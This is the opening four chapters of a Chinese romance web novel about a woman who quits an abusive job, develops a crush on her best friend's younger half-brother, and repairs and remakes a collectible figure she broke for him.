《crush了闺蜜弟弟后》
1. 心动
办公区的键盘敲击声此起彼伏,大家都埋首于电脑屏幕前,专注处理着手头的事务。
唯独徐诗柚突兀地站在那,往一个小箱子里收拾着桌面的东西。
“诗柚,真要走啊?”隔壁工位的同事压低声音,眼里满是惋惜,“赵睿都放话了,你走了,这行就真没哪家公司敢要你了,那家伙在圈子里还是有点话语权的……”
徐诗柚扯了扯唇,没说话。
还能说什么,大不了不干这行了呗。
进公司的这半年,她不是活动策划方案一次次被部门总监署上自己的名字,就是熬夜做的项目,被他抢去邀功。
她在现场连轴转,他在后面一声不吭地就把功劳全揽了,从品牌发布会到大型行业论坛,所有荣誉都成了他赵睿晋升的资本。
而她,除了熬不完的夜,无止境的加班,被榨干的节假日,还得到了什么?
徐诗柚只能被死死按压在原位上不敢发作。
大家都说,赵睿是老板的亲戚,挣扎也没用,斗不过他的。
更让她窒息的是赵睿长期的语言打压,被pua久了,徐诗柚都要开始怀疑自己的价值了。
问题是,这狗屁领导,明面上言语打压她就算了,背地里又是另一套。
徐诗柚已经不是第一次收到过赵睿的暧昧暗示了,拒绝后,换来的则是他更变本加厉的针对。
活动物料莫名延迟,核心合作方被私下撬走,甚至还在背后造谣她私生活不检点。
就在刚才,还打算把一个预算砍半、时间紧迫的烂尾活动丢给她。
徐诗柚当场爆发,指着他鼻子骂了一通,总算把这大半年的窝囊气都给撒了出来。
这她要是还能忍,那她都不是人了,是忍者神龟!
徐诗柚最后看了自己的座位。
这里原先堆满了她熬夜修改的流程表,标注密密麻麻的执行方案,还有藏在抽屉深处,她用来缓解压力的黏土雕刻工具。
可此刻,桌上只剩下一盆她养了半年的仙人掌。
“走了。”她拎起箱子,仙人掌也一并带走,头也不回的。
对于一个只会耗尽她热情与才华的地方,她才不会留恋。
-
正午的阳光有些刺眼,徐诗柚刚出写字楼,就被阳光照得下意识眯了眯眼。
站在人流如织的街边,面对着川流不息的车潮,她短暂地陷入了迷惘,一时竟不知该往哪走。
这是她第二次辞职了,离开这个自己呆了三年多的行业,也不知道以后还能做什么。
口袋里的手机在震动。
徐诗柚腾出一只手接电话,是闺蜜,季薇。
“你出来没?真辞职了?不干了?”闺蜜在电话那头咋咋呼呼的,还有些不可置信。
“嗯。”徐诗柚闷闷地应了声,又觉不够解气,恶狠狠地补道,“破公司,破工作,谁爱干谁干吧!”
察觉出她情绪,闺蜜立马同仇敌忾:“那种垃圾领导,早该远离了!不高兴咱就不干!大不了姐们养你!”
徐诗柚被她这豪气逗趣,笑出声:“我信了啊,你快包养我吧。”
“包!”季薇信誓旦旦的,转而又道,“你也别一个人闷着,我炖了汤,过来我家,我给你做对好吃的!”
徐诗柚没多犹豫:“好”。
她现在,确实不想一个人呆着,哪怕找个地方坐坐,听听闺蜜唠叨也好。
徐诗柚直接打车去了季薇家。
路过小区的篮球场时,被一阵热烈的欢呼声绊住了脚步。
她下意识朝着人潮热闹的地方看去,这一看,就挪不开眼了,脚步也越走越慢……
欢呼的声潮中,穿着白色球衣的男生正带球冲刺,身形挺拔如松,汗湿的发梢,在阳光下折射出细碎的光。
他一个利落的转身,避开防守球员,起跳、抬手,投篮……
篮球在空中划过一道流畅的弧线,精准入网。
场边响起热烈的喝彩。
落地后,他习惯性地揪起领子擦了擦汗,下摆被带起,露出一截劲瘦的腰腹。
面对队友的兴奋激动,他只是腼腆笑笑,露出一对浅浅的梨涡,干净又耀眼。
徐诗柚彻底走不动道了,和边上的小姑娘一样,拿起手机就是咔咔的一顿拍!
要不是早习惯了社会人体面的那一套,她估计已经和场边的这群女孩一样,尖叫个不停了。
白色球衣的少年已经开始了下一轮,又是一个漂亮的交叉步,避开防守,膝盖微曲,蹲身预备,眼看就是一个漂亮的三分球——
但不知何缘故,他视线忽地朝场外撇来一眼,不过短短半秒的愣神,球便失了准头,敲击在了篮筐上,遗憾坠落。
那愣神极为短暂,徐诗柚都没发现。
她全副心神都只在少年那阳光,充满蓬勃朝气的躯壳上,拍完照立马点开闺蜜的聊天框,哐哐发照。
大柚子:【宝贝,我感觉我又活过来了!!!】
大柚子:【(照片)(照片)(照片)】
大柚子:【怎么办?我好像遇见心动crush了!】
大柚子:【这是真帅!】
大柚子:【185!!不对,这身高,得有190了吧!!!】
大柚子:【身材超好,有腹肌!!(色)(色)】
大柚子:【你简直是我今天的幸运之神~!mua~!】
季薇不知道是不是在做饭没看见,并没有立马回应。
徐诗柚放下手机,重新看回场上。
男生也就刚才失误了下,这会已经彻底翻篇,在场上正意气风发,转身,夺球,防守,跳跃,投篮,不管哪个动作,都透着一股张扬的自信。
仿佛受了什么刺激般,铆足了劲表现,比刚才打得还凶猛利落,就没有一个动作是多余的,帅得人多巴胺都要在体内开起狂欢派对。
闺蜜还在等自己,徐诗柚也不好一直在这看,最后又再看了几眼,才恋恋不舍地往闺蜜所住的楼层走。
季薇这会看到消息了。
还没来得及看照片,先无语上了:【一个帅哥而已,你身边又没缺过,至于这么激动?】
特别是秦聿那种极品,徐诗柚都吃过了,真不觉得有什么样的男人还能入得了她眼。
徐诗柚不同意:【不一样,这个简直长在我的心巴上~[爱心]】
薇薇薇:【秦聿那会,你也是这么说的……等等!有没有近景!】
徐诗柚从刚才的照片里翻了一通,没找到近景,随便发了张过去:【就这个,白色球衣的,只有侧脸了!凑合着看吧,姐妹(哭)】
【反正就是又高又帅又有劲!(色)】
【看着就很行的样子(色)】
闺蜜先是发来了六个点,随即又发来一张照片。
薇薇薇:【你看这个,是不是很眼熟?】
徐诗柚点开照片看了眼,不就是刚才那帅哥嘛!
她震惊了:【?】
【你哪来的照片??】
薇薇薇:【救命!!哈哈哈哈哈哈哈】
大柚子:【?你认识??】
薇薇薇:【你也认识】
大柚子:【!!!不可能!长这么帅的我不可能没印象!!】
薇薇薇:【你们还一起吃过饭。】
大柚子:【what?】
徐诗柚懵了,反应了半会,才颤抖着手打下一行字:【这该不会是……你那便宜弟弟吧?(惊恐)(惊恐)】
薇薇薇:【哈哈哈哈】
薇薇薇:【早知道你喜欢这样的,我当初直接打包了给你送去算了,也省得你当初误入歧途】
大柚子:【……】
大柚子:【我自闭了】
薇薇薇:【不行,这有点好笑,那什么,我把你当闺蜜,你居然想当我弟妹??】
大柚子:【……】
大柚子:【那个,刚才的话,我能撤回吗?】
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薇薇薇:【晚了。】
【狗血了,我闺蜜居然看上了我弟哈哈哈】
徐诗柚翻看了一遍之前的聊天记录,看到自己发情似地对着闺蜜弟弟的照片狂发流口水的涩涩表情,顿时想死的心都有了。
大柚子:【(微笑)(微笑)】
【我觉得,现在删你好友应该还来得及。(微笑)】
-
徐诗柚已经抱着猫在沙发上瘫了有大半个钟头,来自闺蜜的社死凌迟却还没有结束。
“宝贝,放过我吧,答应我,就当一切都没发生,好吗?”徐诗柚生无可恋地求饶。
季薇有个同父异母的弟弟。
在季薇很小的时候,父母就离婚了,她跟了父亲。
后来父亲再找,婚后还生了个弟弟。但那会季薇还小,怕她无法接受,他爸就一直养在外面没接回来。
等到季薇比较懂事的年纪,父亲才把继母和孩子一起带进了家,也是知道季薇早已有所察觉,才选择了开诚布公。
季野被带回来的时候还在读小学,季薇那会已经上高中了。
尽管不是不能理解,父母已经分开多年,父亲会再娶也是正常,但当看到自己突然多了个这么大的弟弟时,她还是难以接受。
所以季野刚来的时候,季薇经常跟徐诗柚抱怨吐槽自己这个便宜弟弟,说的也不是多好听的话。
反正就是大写的不喜欢。
而季野,好像也知道自己不被待见,在家都尽量减少和季薇的接触。
徐诗柚第一次见季野的时候,他刚上初中,见家里来了人,就一个人避开着,不太爱说话的样子。
和刚才在球场上那个自信张扬的少年完全不同,所以徐诗柚完全没法把两人联系在一块。
不过后来季薇在她面前吐槽这个便宜弟弟多不讨喜的次数也越来越少了,再加上来A市上了大学,很少在家里,接触就更少了。
偶尔提一句,也只是很平常的姐姐口吻,徐诗柚就没怎么在意。
“不过现在不是便宜弟弟了。”季薇纠正她之前在微信上说的话。
她了然,调侃道:“现在是亲弟弟了?”
季薇傲娇出声:“本来就是。不过还是很不讨喜就是了……”
说到这,她开始苦口婆心:“有一说一啊,虽说是我弟,但除了张脸,也没什么可取之处了……”
亲姐,这是亲姐!
“他性子有点闷,话也少,看着冷冷的,我是怕你真相处下来会觉得他无聊。”季薇数落起自己的弟弟来,一点没客气的。
徐诗柚不作声,知道对方是闺蜜弟弟后,有点死心了,她大他起码四岁了吧。
摸着良心说,都见过对方小屁孩的时候了,怎么下得去手?感觉像犯罪……
叮咚——
门铃响了。
“你还喊谁来了?”徐诗柚喊了声,季薇这会在厨房忙活了起来,抽油烟机和炒菜的声音混杂,估计听不见。
她放下怀里的泡芙,起身去开门。
门一开,愣住了。
刚死的心,轻而易举地就死灰复燃!
少年人身高腿长地就这么站她面前,身上的球服被汗水濡湿了大半,紧贴着挺拔的肩背,勾勒出流畅的肌肉线条。
额前的碎发湿漉漉地贴在额角,几滴汗珠顺着下颌线滑落,砸在地砖上。
露在外面的小臂因为刚运动过,微微鼓起。
徐诗柚还能闻到他身上的气味。
不是汗味,而是洗衣液混着阳光的清爽气息。
这蓬勃的生命力,简直把她那长期浸淫在浓重班味的淡淡死感都要驱散了。
不过,刚刚季薇不是说他弟是准备要回学校的,估计就是路过小区篮球场顺便打了会球……
怎么这会又回来了?
估计是她杵在门口太久了,挡住了对方路,对方稍稍后退了些,没什么表情地朝她点了点头。
“你好……”
2. 闯祸
“啊,哦哦,你是那个,薇薇的弟弟吧?季、季……”
“季野。”他替她补充完。
“嗯嗯,对,那个,不好意思,进来吧。”徐诗柚侧了侧身,给他让出进门的位置。
季薇从厨房里端了菜出来,看见自家弟弟也是一愣:“不是说约了舍友吃饭,要回学校吗?”
季野抿了抿唇,半晌,才说:“忘拿东西了。”
还没等季薇问明白,他很快又说:“算了,不去了,出了一身汗,我先洗个澡。”
季薇本来想问他忘拿什么的,被这一打岔,就接下一句去了。
“啊,那你快点,等你开饭呢!”
说完她瞟向徐诗柚一眼,介绍道:“对了,这我闺蜜,徐诗柚,你应该知道的吧,以前见过一面的,喊诗柚姐。”
季野这才缓缓转了眼看向徐诗柚,默了片刻,也没喊,很轻地嗯了声,便自顾自地进了次卧。
徐诗柚尴尬地转了转眼珠子,落在季薇身上。
用嘴型说:“你弟好冷淡哦~”
季薇耸了耸肩:“说了吧。”
然后又骂一句:“臭小子,没礼貌。”
徐诗柚替他辩驳:“说不定是害羞?”
季薇:“这都没好上呢,胳膊肘就往外拐了。”
徐诗柚:“哪有?拐来拐去不都还是你家的,怎么着也是往里拐!”
……
这房子是季薇自己在A市买的,据她说,季野大学考过来了这边,她便给他留了个房间。
平时弟弟住宿舍比较多,偶尔放假会过来,或者被她使唤过来当苦力。
徐诗柚看了眼紧闭的房门,坐在餐桌前,托腮:“我看他也没认出我~我就说吧,都多少年前的事了,我不记得也正常。”
“那让你们重新认识认识?”季薇给她抛了个媚眼,揶揄的意味。
徐诗柚摆摆手,虚情假意的:“算了算了,兔子不吃窝边草的道理我还是懂的。”
“真不吃?”
徐诗柚捂着良心,义正言辞:“你弟弟就是我弟弟!哪有冲自己弟弟下手的道理!”
季薇笑得乐不可支,徐诗柚这嘴啊,也就只能听听。
果然,不一会,又听她补道:“看情况,随缘吧……”
美色当前,徐诗柚对自己也不是很有自信。
尤其还是这种长在她审美点上的男人。
男生洗得都快,没等多久,季野就从卧室出来了,换了一身干净的白t,坐在徐诗柚旁边。
不知道是不是过于在意,徐诗柚觉得,对方身上那干净清冽的沐浴香气竟然都有点盖过眼前的饭菜了,是很清新的青柠香。
不过她才尝了一口,味蕾享受到的美味,瞬间又盖过了美色的诱惑,连同失业的烦闷都被口中的美食治愈了。
她夹了块可乐鸡翅入口,好吃到眉眼都弯起,难得舒心地感慨:“真的,以后我找男朋友,一定要找个像薇薇你这么会做饭的~”
旁侧季野夹菜的手顿了顿,沉默着也往碗里夹了块鸡翅。
“那有点难了,不是我吹,我这手艺,一般人可比不了!”
“那你娶我吧,我跟你过一辈子。”
“走,咱明天就去领证!”
两人一通无厘头地说着没什么营养的废话,一顿饭吃完,季野全程都保持着沉默,不会插嘴,也不会提问,要不是长着张好看到让人无法忽视的脸,存在感约等于零。
期间徐诗柚为了把他带入话题,还主动和他搭话,不过弟弟很冷淡,问什么都是嗯嗯哦哦的。
但看着就很乖巧的样子。
吃过饭后,徐诗柚没急着走,在房间里拉着闺蜜吐槽了半天这半年来的职场压迫,聊到口干舌燥了才想着出来喝口水。
季薇一出房门,就看见沙发那边,盘腿坐在地上的弟弟,面前茶几上还摆着笔记本。
她看了眼时间,奇怪道:“快9点了,你怎么还没回学校?”
“做会作业。”
夜间有点冷,季野不再单穿着件白T,外面套了件黑色冲锋衣,拉链严严实实地一直拉到领口,眼睛则始终专注在面前的屏幕上。
徐诗柚给自己倒了杯水,又弯腰一把捞起路过的泡芙,慢悠悠地挪到了沙发上,坐着给猫顺毛。
起初离季野还有些距离,撸着撸着就凑过去了,好奇地盯着他屏幕看。
“这是在做什么游戏NPC吗?这角色的发型和衣服还挺特别的。”
她猝不及防且自来熟地出声,不知道是不是惊扰到对方了,对方点在鼠标上的手顿了顿。
几秒后,季野嗯了声,并没有回头看她。
“你们专业的作业?看着还挺复杂的,大二就要做这么复杂的建模了吗?”
“不是……”他停了下,解释,“我以前有自己学过。”
“哦~”自学过,所以设计的作业相对复杂些吗。
怕打扰对方,徐诗柚也不说话了,视线却始终盯在对方的笔记本上,怀里也依旧撸着猫。
她一只手撑在膝上,弓身向前,其实凑得有些近,对方只要稍稍侧头,就会和她在极近的距离里视线对上。
不过对方的注意力都在建模上,似乎并不是很在意她的存在。
徐诗柚眨巴着眼,视线逐渐从屏幕上,移到了人身上。
季野刚洗过澡,头发还半干着,黑发乖顺地垂下,贴在额前,后脖颈的头发剃得很短,莫名觉得有些可爱。
徐诗柚把猫放走,端了茶几上刚倒的热水,小口小口地啜饮着,依旧维持着离弟弟不远不近的距离。
弟弟目不斜视,似乎没什么比笔记本上的模型更吸引他。
不知过了多久,她察觉季野的下巴往领口里缩了缩,半张脸都快埋进去了,有点毛茸茸的,动作还带着点隐秘的乖巧。
白光穿透下,耳尖还衬得有点微微的泛红。
看着就很……
徐诗柚不自然地挪开视线。
一杯热水见底,她起身。
随着她的站起,季野一直绷紧的脊背几不可查地松了下,徐诗柚并未察觉。
她觉着不早了,也该回家了,边走向玄关,边冲季薇的方向喊:“不早了,薇薇,我走了啊!~”
季薇刚去接了个电话,这会才从阳台出来。
“明天还来不?想吃什么,给你做?”
“不了,好不容易可以休息,让我在家先睡它个三天三夜再说吧!”
季薇笑,肉麻兮兮地说:“行啊,但要记得想我哦,宝贝~”
“包的!”徐诗柚比划了ok的手势。
“那个,阿野……”季薇冲沙发上的人喊了声,“你不是也要回学校吗?跟你诗柚姐一起走呗?女孩子一个人走夜路不安全。”
徐诗柚这会已经在蹲下换鞋了,闻言,抬眼看向自己闺蜜,对方给她抛了个媚眼。
徐诗柚:“……”
季野没应,但已经合上了笔记本,准备起身。
徐诗柚这会也换好了鞋子,正起身,手肘不小心甩到了旁侧柜子上堆叠的纸箱。
“哗啦”一下,三个印着快递单的箱子接连倾倒。
原本还在慢吞吞挪动的季野忽的加快了脚步,几步跑过来,蹲下,找到其中一个箱子就开始检查。
那个快递箱是已经拆开看过了的,所以里面用来缓冲的气泡膜也早就拆掉了,有小零件从箱子里滚了出来。
徐诗柚顿时有些无措地站在那,指尖紧了紧,而后赶忙蹲下去帮他捡。
“对、对不起啊,我不是故意的,这是你的东西吗?是不是摔坏了?”
季野没应声,浑身都不可控地散发着低气压。
小心翼翼地打开看了眼,好几个部位都摔断裂了。
不管怎么说,这都是他好不容易从别人那收到的手办,蹲了好久才蹲到的,说不难受是假的。
徐诗柚看了眼,是个游戏角色的手办,做工还挺复杂……
完了!
“没事没事,坏了姐给你重买一个……”气氛过于紧绷,季薇尴尬地出声化解。
她心里也慌,她知道弟弟有收藏个别手办的爱好,这是他好不容易买到的珍藏版,拿回来拆的时候心情还很好来着。
徐诗柚慌死了:“都是我的错,坏了我给你赔一个吧,多少钱?”
很无力,她知道有些手办是不容易买到的,不是轻飘飘的一句赔钱就能解决,只能尽力弥补:“或者,你把照片
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发我,我看能不能帮你重新找一个?”
季野一直低着头,用黑黑的脑袋对着他,明显心情不好的样子,浑身都散发着颓靡的气息,只是出于礼貌还是什么,在隐而不发。
气氛持续僵持着,徐诗柚在这等待凌迟的几秒里内心无比煎熬。
不知过了多久,弟弟终于抬起了头,声音不高,但清晰好听:“没事,不是什么值钱的东西,不用赔……”
徐诗柚愧疚死了!
这是什么绝世乖巧好弟弟啊!!
刚才东西摔下来,对方冲过来的那刻,眼里分明是掩不住的惋惜和心痛,怎么可能没事!
“走吧,诗柚姐,我送你出去。”
季野站起的时候,表情已恢复淡然。
他把手办放置一边,蓦地想起自己是说回来拿东西的,又重新拿上。
……
后面季野还是送她出去了。
两人隔着一点距离,一前一后地走着。
徐诗柚在前,如锋芒在背。
弟弟一路不吭声,抱着破碎的手办,闷闷地跟在后头。
哎,别说想刷弟弟好感了,不被他讨厌都是好的了。
徐诗柚这一路都在心里捣鼓着补救方法,忽的,停住。
她一停,身后的季野也跟着停。
徐诗柚转身,视线落在他手里的纸箱上。
“那个,要不给我?或许我可以尝试修复……”
季野愣了愣,下意识就想拒绝:“不用了,真的没关系,你别在意……”
她虽然没修复过这种手办,但好歹也捏黏土娃娃捏了好多年,手办也捏过不少,就算材料工艺不一样,她研究下,也未必不能修复。
“我说真的!可以给我试试,我对这个还是有点经验的……”
季野本来还在犹豫,然后好像想到了什么,最后还是同意了:“行。”
他把纸箱递给了她,两手上没东西了,下意识插回兜里,下巴又往领口里收了收:“就算修不好,也没关系的。”
徐诗柚接过手办,眼睛缓慢地眨了下,而后掏出手机:“那……加个好友?”
季野稍征,漆黑的眸看过来,似是犹豫,片刻,才慢吞吞地从口袋里掏出手机。
滴!好友添加成功!
虽然闯了祸,但也意外得到了弟弟的联系不是?
徐诗柚唉声叹气,也不知道该说幸运还是不幸。
季野学校的方向和她回家的方向不同,不过还是很负责地一路看着她上了车才走。
徐诗柚这会才低头去看他微信。
头像没什么特别的,就是个纯白的背景图。
个性签名,无。
朋友圈,三天可见……
很好,零信息。
她点开弟弟的聊天框,再次道歉:【今天真的很抱歉!我会努力修复好的!】
几秒后,弟弟回:【真的没关系……】
害,多好的弟弟啊,话是少了点,看着是有点冷,但胜在老实乖巧嘛。
徐诗柚发了个愧疚猫猫的表情包过去,然后点开季薇带着红点的聊天框。
薇薇薇:【害,这会我也不知道怎么帮你了,那手办不好搞,他貌似蹲了挺久才搞到手的……】
大柚子:【没事,我拿走了,我应该能修复。】
刚才都太慌了,季薇这会才想起自己闺蜜的这手可巧这事:【对哦!我都忘了!你不是最擅长捏这些人偶的吗?可以可以!】
季薇松了口气,差点,就要看着亲亲闺蜜在自家弟弟身上,出师未捷身先死了。
她想起刚才在阳台上看到的一幕,提醒:【不过,提醒你一声啊,我弟他不是很亲人的类型,还有点孤僻,你别太急吓着他了,悠着点吧~】
徐诗柚懵了:【我怎么了?】
薇薇薇:【你不知道你刚才……】
薇薇薇:【就坐沙发那会,看我弟那眼神啊……】
薇薇薇:【像是想把他一口吞掉一样……】
薇薇薇:【那侵略性啊……都快写脸上了!】
薇薇薇:【老实说,有点像变态……】
大柚子:【……】
????
她有吗??
3. 赔礼
因为心里惦记着给弟弟修手办的事,徐诗柚没能睡成懒觉。
昨晚还特意把长年设定的闹钟全都关掉了,意图享受一把睡到自然醒的快乐。
没想到这牛马生物钟已经顽强扎根在了身体里,一时半会还拔不出来。
她干脆起来研究手办的修复。
没想到她这一磕碰还挺用力的,受损程度不轻。
最主要的是,摔得还有些细碎,不是大块的断手断脚断头,而是那种,摔坏一个小小的手指头,或者头发蹦掉一角这样的,修复起来就会比较繁琐,还需要相当的细心和耐心。
虽然这和她平时做的那种材质不太一样,但还是有些共同之处的,徐诗柚从小就喜欢捣鼓这些,工具也都齐全。
她从网上找到了原模型的图,发现这还是个珍藏版的,价格还不低,四位数呢……
一一对照图片,找到缺陷的地方,徐诗柚花了一天时间窝在屋子里,给断裂蹦角的地方打桩,粘补,打磨,喷漆,涂色……
这过程需要相当精细的操作,等整个完成,太阳都西斜了,徐诗柚只觉得眼睛干涩难受得慌。
不过再看看成品,又觉得值了!
完美!
为了表达歉意,徐诗柚决定用自己擅长的手作再捏一个给弟弟。
因为这个手办属于高精细款,角色的服饰武器造型都相当复杂,细节纹理多,需要雕刻制作的零件也多,徐诗柚又沉浸式地花了三天时间给做了个不同造型的。
动作造型都是她自己设计的,光是画稿都花了不少时间,也不知道对方会不会喜欢……
-
大柚子:【(小猫偷窥)】
大柚子:【哈喽~那个,手办我已经修好了,你什么时候方便,我给你送去?】
周五傍晚,徐诗柚开车去了A大南门,才给季野发了消息。
弟弟大概不想麻烦到她,很客气地回:【寄过来也可以的,不用麻烦跑一趟。】
徐诗柚忽略他的问题,直接道:【我正好路过你们学校,要是方便的话,现在给你送过去?】
JY:【……哪?】
大柚子:【南门这边呢。】
JY:【!】
JY:【等等,我和舍友正好出来吃饭,现在就过来。】
徐诗柚捧着东西下了车,看了眼自己的位置,打字不方便,只好发语音:“我在这边一个叫‘有间火锅’的地方,你在哪呢?”
JY:【嗯,我看见你了……】
徐诗柚看到这条信息,下意识抬头,便见对面校门走来一人,黑衣黑裤,身高外形都极为出众,很难不一眼看到。
徐诗柚今天是有特意打扮过的,上身穿了件湖蓝色针织衫,V领剪裁,露出纤细锁骨,脖颈垂着条蓝色的系带,衣服是稍显宽松的版型,慵懒又随性,下身是同色系的浅蓝百褶长裙。
黑长的卷发编成松散的麻花辫放置一侧,发间别着浅蓝色小发饰,碎发自然垂在脸侧,越发称得脸巴掌大小,给人一种慵慵懒懒的温柔感。
她站在那,气质格外出众,也没有学生身上那种青涩感,引来不少人侧目。
季野步伐不快,但胜在腿长,很快就走到了她跟前,只浅浅看了她一眼,便垂下了眸。
他看向她手上的盒子,封闭不透明的,看不见里面。
徐诗柚递给他:“我手工还行,你回去检查下,要是还有哪里没弄好的,随时都可以和我说。”
季野接过,低头应了声:”好,谢谢。”
他不怎么抬头看她,徐诗柚有种一拳打在了棉花上的无力感。
但两人毕竟不熟,她也不好表现得太过。
“阿野,你好了吗?”
徐诗柚这才注意到他身后还慢吞吞地跟来了两人,想起他是和舍友出来吃饭的,也不好再打扰,便告辞。
“那,没事我先走了?”
“嗯……”他应了声,似又觉得不妥,还是客气地问了句,“诗柚姐,你吃饭了吗?没吃的话和我们一起?”
徐诗柚是想的,但到底不熟,她在恐会让他的舍友也不自在,只好拒绝:“不了,你们吃吧,我等会还有事。”
季野也没勉强,只是看向旁侧一排店,“那诗柚姐,你稍等会。”
“嗯?”徐诗柚还没反应过来,就见他跑进了一家奶茶店。
不一会,手里多了杯奶茶,递过来:“麻烦你跑这一趟了,谢礼。”
徐诗柚接过,有些哭笑不得,明明是她弄坏了他东西,修好送来是理所当然的,怎么还有谢礼了?
不过弟弟送的,她当然不会客气,只简单道了声谢便走了。
-
“阿野,刚那美女是谁啊?不是我们学校的吧?”
到了吃饭的地方,才坐下,两位舍友已经按捺不住蠢蠢欲动的八卦之心。
主要是觉得季野身边居然会出现女人,实在罕见。
毕竟对方在学校可是连校花都不放眼里的人,都拒绝人姑娘好几次了,结果连对方名字都没记住。
孟嘉信撞了他一下:“老实交代,什么关系啊?又是追求者?告白的?”
季野拆了双筷子,没什么情绪地出声:“不是,你们别乱说,她是我姐的朋友。”
“薇薇姐的朋友?哦,难怪,害,美女身边果然都是美女~”
林千:“不过她来找你做什么?”
“送手办。”
“手办?不会是你前几天收的那个珍藏款的吧?你不是说摔坏了吗?”
孟嘉信也挺爱这些的,听说摔坏了还挺遗憾,都没来得及瞧上一眼呢。
林千:“什么?难道你姐的朋友给你重新送了个?还是你姐给你重新买了个,让朋友给你送来?”
季野无语:“你们别瞎猜了,诗柚姐只是说她可以帮我修好而已。”
孟嘉信更稀奇了:“这姐姐还会修手办?有点厉害呀~”
不知是听见什么,季野抿了抿唇,没再接话。
晚上回到宿舍,季野拆开了纸箱。
里面的手办,还被精心装在了一个亚力克手办盒里,他把手办端出来看了又看,竟看不出一点破损的地方!
他原本对手办能完全修好没报什么希望的,但看对方愧疚的样子,怕不答应她心里会一直过意不去,没想到……
这还不是最惊讶的,最惊讶的是,他发现底下还有个亚力克盒,里面还有一个手办。
和他的手办是同一个角色,但造型不一样。
动作设计得特别酷炫,细节繁琐,但相当精致,特别是角色身后盘着的龙,看着就花了不少心思。
季野甚至觉得,细节比他的那个还精致。
箱子最底下还有个小小的,Q版粘土小人,是只可爱的小猫女,画着双水灵灵的大眼,可怜巴巴的,两只手合握在胸前,看着像在请求原谅。
季野心头微动,怔怔看了半晌,才拿手机拍下多出来的两个附赠品。
JY:【这是?】
徐诗柚在家闲得很,没事都是秒回:【我的歉意~嗯……赔礼?】
大柚子:【怎么样都行啦~】
JY:【……诗柚姐自己做的?】
大柚子:【嗯!我很厉害吧哈哈,那个,还喜欢吗?】
一秒,两秒,三秒……还没回复!
徐诗柚攥着手机的手都不自觉收紧,心脏咚咚咚的。
万一他说不喜欢……
嗡嗡——
手机振动。
JY:【很喜欢。】
【嗯,谢谢...姐姐。】
嗬,喊姐姐了!
-
“这是什么?我怎么没见过这个造型的……”
孟佳信刚出卫生间,一眼就瞧见季野桌子上放着的那几个
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手办,眼睛都亮了。
最吸引他的还不是那个珍藏版的,他上手拿起徐诗柚自制的那个,仔细端详了番后,不由感慨:“好精细的手工啊……你这是哪定制的?”
“不是定制的。”季野小心翼翼地从孟嘉信手上拿回,“是姐……我姐的朋友做的。”
“今天南门那个美女姐姐?”
季野默了下:“嗯。”
“天啊,她好厉害!长这么漂亮,手还这么巧!我要是有个这么手巧的姐姐,做梦都得笑醒吧!手办都不用愁了~”
孟嘉信又端起了季野蹲了好久才蹲来的那个珍藏款手办:“这么一看,反而觉得这个珍藏款的还没那么精致了……”
他半开玩笑道:“你问下那姐姐,还缺弟弟吗?”
季野:“……”
等孟嘉信走开后,季野把徐诗柚送的几个手办特意摆在了最显眼的地方,一眼就能看到。
本来他买来的手办都是放在家里的展柜上收藏的,不过这几个,他决定暂时先放在学校。
他拿起那个Q版的小猫女,放在手心里细细把玩,发现有些部件居然还可以动。
季野把小猫女放在桌面看了会后,从柜子的角落里摸出了一个差不多大小的粘土小人,是只黑色系的小狗男孩,酷酷萌萌的,头上一双狗耳朵,怀里还抱着只小狗,被小心翼翼地存放在一个玻璃盒子里。
小狗的手工没有小猫女的那么精致,毕竟是她很多年前的作品了。
……
那是季野第一次见到姐姐的这位朋友。
他那会被接回父亲家也没多久,很不适应,感觉到自己那个姐姐也并不待见自己,在家里都是尽量避着的。
他从小性格就比较独,在别人看来就有点装,所以刚开始,总有人看他不顺眼。
那会他才上初中,就总是莫名被针对,还因为他喜欢捣鼓这些小人偶而嘲笑他幼稚,甚至故意摔坏他带到学校的。
他不太喜欢跟家里人讲这些事,不高兴也只是闷着不说。
季薇带朋友回来那天,正好是他第三次被摔坏手办的那天。
怕他这个姐姐不待见,他自觉避开,也没想过出去打招呼什么的。
他躲在后院,捏着自己摔坏的小人偶在那发呆,被他姐带回来的朋友瞧见了。
他怕又被嘲笑,下意识地藏了起来。
他以为没被发现的。
结果临走的时候,被对方塞了个小狗人偶。
“第一次见面,没带什么礼物,送你这个可以吗?我觉得和你有点像诶~”
……
季野从回忆中抽离,看着手上的两个粘土人偶,唇角漾起浅浅笑意。
没想到时隔多年,又收到一个。
猫猫和狗狗。
他心口有些躁动,拿起手机想给徐诗柚发点什么,但想了半天,又找不到什么借口。
无所事事地点开朋友圈刷了刷,结果刷到了张眼熟的照片,是今天在南门的照片。
上面是,徐诗柚的侧影。
【捞个人!有人认识这位美女吗?今天在南门遇见的,很漂亮,超有气质!crush上了!有人认识没!!!】
又看了眼发圈人,不认识……不知道什么时候加的。
他无视,划过去。
半晌,又划回来……
默默点开那张照片,长按,保存。
微信突然跳出舍友的消息,他心都跟着跳了下,活像做了什么亏心事被人当场捉包。
他回头看了眼,孟嘉信已经爬上了床,戴着耳机,见他看来,又冲着他无声敲了敲手机屏幕。
季野无语,有事不能直接说吗,还特意发信息,吓他一跳……
他点开聊天框。
【对了,你姐的那个朋友,接定制单吗?能不能帮我问下?】
【或者,能把她的微信推给我吗?】
4. 旧人
季野的唇线拉得平直,目光在那句“能把她的微信推给我吗”上停留许久,而后敲字。
JY:【我问下她吧,她接的话,我再推给你。】
退出和孟嘉信的聊天,季野这会是真有借口找对方了。
JY:【诗柚姐,你接手办定制吗?】
收到消息的时候,徐诗柚正躺在床上思考人生。
看了眼弟弟发的,撇了撇嘴,刚还叫姐姐的,怎么这会又变回诗柚姐了?
她从床上坐起,敲字:
【嗯?弟弟这是要给我拉生意?接哦~】
徐诗柚以前也会偶尔接些手作单子来赚外快,只是上班之后就没这个时间了,只有偶尔压力大的时候会捏着来放松精神。
这会反正失业了,她接点单子忙活也比胡思乱想的好。
JY:【就是,我朋友看了你的手作,觉得做得很好,想让我问下你接不接定制。】
JY:【接的话,那我……把你推给他?】
大柚子:【行呀。】
为了表达高兴,徐诗柚还特意选了个萌萌的表情包发过去。
季野看着那表情包,脸色却不太好。
最后,他还是不得不把徐诗柚的名片推给了舍友。
JY:【她说接。】
季野怕徐诗柚顾虑到是自己朋友而不好意思开价,又对舍友补充道:【我和她也不是很熟,价格方面都是明码标价的,你可别借此要什么友情价,懂?】
孟嘉信发了个ok:【放心啦,不会让姐姐吃亏的,我是那种人吗?】
季野知道,孟嘉信也不是什么缺钱的人。
